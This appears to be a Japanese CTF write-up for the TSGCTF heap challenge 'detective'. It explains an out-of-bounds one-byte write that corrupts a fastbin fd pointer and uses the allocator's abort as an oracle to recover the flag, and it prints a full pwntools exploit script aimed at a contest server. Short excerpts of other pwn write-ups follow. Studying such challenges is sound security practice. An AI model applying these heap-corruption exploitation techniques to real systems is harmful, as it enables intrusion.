これまでに解いた問題: https://hackmd.io/@Xornet/BkemeSAhU
Heap上にインデックスで指定したフラグ(1バイトのみ)が配置される。しかしチャンクに対してshow機能が無いので読むことは叶わない。
そこでfastbin中のfdの末尾1バイトを書き換えて事前に書き込み可能な部分を指すようにする。ここがmallocされる際にサイズチェックが走るので事前に対応する箇所を予想してサイズヘッダを用意しておく。
もし正しければ特にabortしないのでそれをオラクルにしてフラグの先頭から全探索する。
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
calloc(1, size)
して中身を書き込むこの問題はフラグを先頭から確定させていくのだが、インデックスに対しそれがどの文字であるのか総当りで調べる。フラグの文字の制約は次のsanity_check
関数で示されている。
void sanity_check(char *pcParm1)
{
int iVar1;
size_t sVar2;
int local_c;
sVar2 = strlen(pcParm1);
if (sVar2 != 0x28) {
/* WARNING: Subroutine does not return */
exit(-1);
}
iVar1 = strncmp(pcParm1,"TSGCTF{",7);
if (iVar1 != 0) {
/* WARNING: Subroutine does not return */
exit(-1);
}
if (pcParm1[0x27] != '}') {
/* WARNING: Subroutine does not return */
exit(-1);
}
local_c = 7;
while( true ) {
if (0x26 < local_c) {
return;
}
if (((pcParm1[(long)local_c] < 'a') || ('f' < pcParm1[(long)local_c])) &&
((pcParm1[(long)local_c] < '0' || ('9' < pcParm1[(long)local_c])))) break;
local_c = local_c + 1;
}
/* WARNING: Subroutine does not return */
exit(-1);
}
フラグは16進数で使われる文字([0-9a-f]
)だけで構成されていることがわかる。
read_flag
関数にOOBが存在する
void read_flag(void)
{
uint p_idx;
uint uVar1;
printf("index > ");
p_idx = get_index();
if (*(long *)(ptrs + (ulong)p_idx * 8) == 0) {
puts("create a buffer");
}
else {
if (flag == '\0') {
puts("you have already read it");
}
else {
printf("at > ");
uVar1 = get_num();
*(char *)(*(long *)(ptrs + (ulong)p_idx * 8) + (ulong)uVar1) = flag;
flag = '\0';
}
}
return;
}
at >
で書き込むアドレスを相対的に指定出来るのだが、正の数字であれば幾らでも良い。よって書き込みたいチャンクの下に既にfreeされたチャンクがあればそのfd, nextを書き換えることが可能
今回はcallocが使われてtcacheからチャンクは確保されないのでfastbinにあるチャンクを狙ってfdを書き換えた。
callocは何故かtcacheから確保しないのでfastbinを使う。そのためにまずはtcacheを全部埋める。
今回はfdを書き換えられるサイズと、その書き込みの踏み台にするチャンクのサイズの2つを使う。
次のようなチャンク配置を用意する
target: Bとアドレスの最下位バイトだけが違うチャンク
A(freed -> used): read_flagで指定するチャンク
B(freed): fd -> somewhere
C(freed): fd -> B, read_flagでfdを書き換えてfdをtargetに向ける
インデックスが2つまでしか持てないという都合で一旦fastbinに退避させておいたAを再度確保してread_flag
の書き込み先に指定し、at
の指定でCのfdの末尾1バイトを変えることでtarget付近にfdを向ける
フラグの形式は前述した通りなのでC->fd
の末尾は0x30 ~ 0x39, 0x61 ~ 0x66
になる。よってもしここにCと同じサイズのチャンクヘッダがあれば何度かのcallocでここが確保されるはずである。
では逆にここに無かった場合はどうなるかというとfastbinには確保時にチャンクのサイズヘッダを確認するという処理が走るのでもしまともなサイズヘッダが無ければabortする。というわけでこれがフラグ判定オラクルになる
そういうわけでtargetチャンクを生成する際にどの文字がフラグに来るかを想定し、事前にチャンクヘッダを用意しておく
from pwn import p64, u64, ELF, process, remote
def select(s, sel, c=b"> "):
s.recvuntil(c)
s.sendline(str(sel))
def alloc(s, idx, size, data=b"/bin/sh"):
select(s, 0)
s.recvuntil(b"index > ")
s.sendline(str(idx))
s.recvuntil(b"size > ")
s.sendline(str(size))
s.recvuntil(b"data > ")
s.sendline(data)
def dealloc(s, idx):
select(s, 1)
s.recvuntil(b"index > ")
s.sendline(str(idx))
def _read(s, idx, at):
select(s, 2)
s.recvuntil(b"index > ")
s.sendline(str(idx))
s.recvuntil(b"at > ")
s.sendline(str(at))
if __name__ == "__main__":
"""
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
"""
"""
- deallocate時にポインタはクリアされる
- フラグを1文字だけ読み込んでHeapからの相対書き込みが可能
"""
"""
1. fastbin: A -> Bとなっている時に相対書き込みでAのfdの末尾バイトをflag[i]にすることが出来る
2. すると次の次の確保アドレスが確定する
3. 事前にどのフラグかを予想しておき、そこが正常に取られるように偽装チャンク(というかヘッダ)を用意しておく
4. もし無事に取得出来たらフラグ確定(オラクルになる)
5. 最悪アクセス数は32*16
"""
flag = ""
size = 0x78
for flag_idx in range(7, 39):
for c in "0123456789abcdef":
# s = process("./detective")
s = remote("35.221.81.216", 30001)
s.recvuntil(b"index > ")
s.sendline(str(flag_idx))
# fill tcache
for _ in range(7):
alloc(s, 1, size)
dealloc(s, 1)
alloc(s, 1, 0x18)
dealloc(s, 1)
alloc(s, 0, 0x18)
dealloc(s, 0)
pad = ord(c) - 0x10 - 0x8
payload = b"a" * pad + p64(0x81)
alloc(s, 0, size, payload)
alloc(s, 1, size)
dealloc(s, 0)
dealloc(s, 1)
alloc(s, 0, 0x18)
_read(s, 0, 0xa0)
alloc(s, 0, size)
try:
alloc(s, 0, size) # if size is valid, I can get a chunk!!
print("[+] found:", c)
flag += c
break
except EOFError:
pass
print(f"TSGCTF{{{flag}}}")
TSGCTF{67f7d58ac9301f273d16aec9829847b0}
CTF始めたてのWebやってた頃に好きだったBlind SQLインジェクションを思い出せて楽しかったです。これまでやってきた問題と違って知識や手法の他に別ベクトルでの発想を要求されるのが斬新でした。
1桁Solves(5人目だった)の内に解けたのと結構すんなり解法が出てきた(実装が面倒だった、見返すと全然書いてないけど)のでここ1ヶ月の成果が出たのではないでしょうか?
実装はチームメイトに投げましたがKarteも以前見た資料を元に解法を提案出来たので少しずつPwnの貢献度が上がって嬉しいです(でもRACHELLはHouse of Corrosionなんもわからんで死んだ)
院試の願書出したらまたこのコーナー再開します、早ければ火曜に
こちらから全ての記事をMarkdown形式で入手出来ます 現在、このページは更新(Writeup追加, 編集, 誤字修正等)を停止しています 類似のプロジェクトをこちらで行っています、よければ見てください Rules n日に1問以上のpwnを解くかPwnに関する有益な学習をする、できればn=1を目指す -> pwnからCTF全般に変わりました 解いた場合はWriteupの執筆、学習の場合はそれに関する記事を生成することで達成したとみなす、クオリティは本人が納得出来る程度で(コードを貼って終わりのWriteupにはしたくないです) 継続期間の平均を取るので同じ日に2問以上解いた場合は翌日以降の分は実質免除される
May 31, 2022これまでに解いた問題: https://hackmd.io/@Xornet/BkemeSAhU 作問者リポジトリ https://bitbucket.org/ptr-yudai/writeups-2020/src/master/ASIS_CTF_Quals_2020/ Writeup Outline いつものHeap問題...と思いきやHeap上に処理を移してROPする問題、とは言えadd(create+edit), delete, showは普通に出来る 最初に指定した分だけポインタが入る動的配列(おそらくallocaを利用)をスタック上に用意してHeap領域を指すポインタを用意している。 この際、指定した容量だけrspが上(アドレス的には小さい方)に伸びるのだが、ここで負数を指定するとrspが下がる。これはshort型で渡すので65535を指定すれば-1を指定したのと同じになる。
Dec 31, 2020あゔすと!! 自分がとある秘密(例えば難しい問題の解)を知っているとする。これを他者に知らせたい場合はどうすればよいだろうか?当然"ぼく答え知ってりゅ~"と吹聴するのは駄目な訳で、しっかりした形で答えを知っていることを"証明"しなくてはならない。 手っ取り早いのはその答えを相手に伝えて検証してもらうことだが、相手に答えを知らせずに答えを持っていることを証明したいケースが存在する。このように相手に秘密情報を与えずにそれを保持していることを示すことをゼロ知識証明という。 用語 証明者(Prover): その問題の答えを知っていることを示す側 検証者(Verifier): 証明者が答えを知っていることを検証する側 以下はゼロ知識証明のプロトコルの際に必要な3要件である。
Dec 16, 2020作問者Writeup(問題リポジトリに同梱): https://github.com/theoremoon/InterKosenCTF2020-challenges/blob/master/pwn/confusing/solution/solve.py 作問者感想兼軽い解説: https://ptr-yudai.hatenablog.com/entry/2020/09/07/020405#confusing これまでに解いた問題: https://hackmd.io/@Xornet/BkemeSAhU Writeup Outline 型(int, double, string(pointer))と値を指定して保存できる問題。intとpointerはそれぞれ32bit, 48bitあれば十分なので残り16bitがマジックナンバーとして使われ、型情報が保存されている。しかし、doubleはそれが無いので型の偽装が可能。 PIE無効なのでstringに上手く偽装したdoubleをリストで開示するとAARが出来る。 これでlibcとheapのアドレスをリークする(前者はGOTから、後者は.bssセクションにある値リストから)。 heap上にある既知のチャンクのアドレスが分かっているので同じくstringに偽装した2つの値が同じdoubleをリストに配置し、deleteすることでDouble Freeに持ち込むことが出来る。これで任意の値の書き込みが可能になったのでなんとかしてシェルを起動する。
Oct 5, 2020or
By clicking below, you agree to our terms of service.
New to HackMD? Sign up